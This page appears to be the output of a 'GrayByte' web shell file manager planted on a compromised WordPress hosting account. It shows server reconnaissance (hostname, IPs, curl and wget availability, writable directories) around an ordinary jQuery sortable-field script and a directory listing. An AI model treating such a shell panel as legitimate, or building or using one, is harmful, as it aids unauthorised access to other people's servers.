✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/redux/custom-fields/sortable//field_sortable.js
/*global jQuery, document, fusionredux_change, fusionredux*/

( function() {
	'use strict';

	var scroll = '';

	fusionredux.field_objects          = fusionredux.field_objects || {};
	fusionredux.field_objects.sortable = fusionredux.field_objects.sortable || {};

	fusionredux.field_objects.sortable.init = function( selector ) {

		if ( ! selector ) {
			selector = jQuery( document ).find( '.fusionredux-group-tab:visible' ).find( '.fusionredux-container-sortable:visible' );
		}

		jQuery( selector ).each( function() {
			var el     = jQuery( this ),
				parent = el;

			if ( ! el.hasClass( 'fusionredux-field-container' ) ) {
				parent = el.parents( '.fusionredux-field-container:first' );
			}

			if ( parent.is( ':hidden' ) || ! parent.hasClass( 'fusionredux-field-init' ) ) {
				return;
			}

			parent.removeClass( 'fusionredux-field-init' );
			el.find( '.fusionredux-sortable' ).sortable( {
				opacity: 0.7,
				scroll: false,
				update: function( event ) {
					var items      = jQuery( event.target ).find( '.item' ),
					itemsArray = [],
					value      = '';

					jQuery( items ).each( function( i, item ) {
						var itemVal = jQuery( item ).data( 'sortable-item' );
						if ( itemVal ) {
							itemsArray.push( itemVal );
						}
					} );
					value = itemsArray.join( ',' );

					jQuery( '#' + jQuery( this ).data( 'sortable-id' ) + '-hidden-value-csv ' ).val( value );

					fusionredux_change( jQuery( this ) );
				}
			} );
		} );
	};

	fusionredux.field_objects.sortable.scrolling = function( selector ) {
		var scrollable;
		if ( selector === undefined ) {
			return;
		}

		scrollable = selector.find( '.fusionredux-sorter' );

		if ( 'up' === scroll ) {
			scrollable.scrollTop( scrollable.scrollTop() - 20 );
			setTimeout( fusionredux.field_objects.sortable.scrolling, 50 );
		} else if ( 'down' === scroll ) {
			scrollable.scrollTop( scrollable.scrollTop() + 20 );
			setTimeout( fusionredux.field_objects.sortable.scrolling, 50 );
		}
	};

} ( jQuery ) );


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Sep 2026 10.46 AM
docteuh / users
0755
field_sortable.css
0.133 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
field_sortable.js
1.952 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
field_sortable.php
2.588 KB
20 Nov 2023 7.12 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF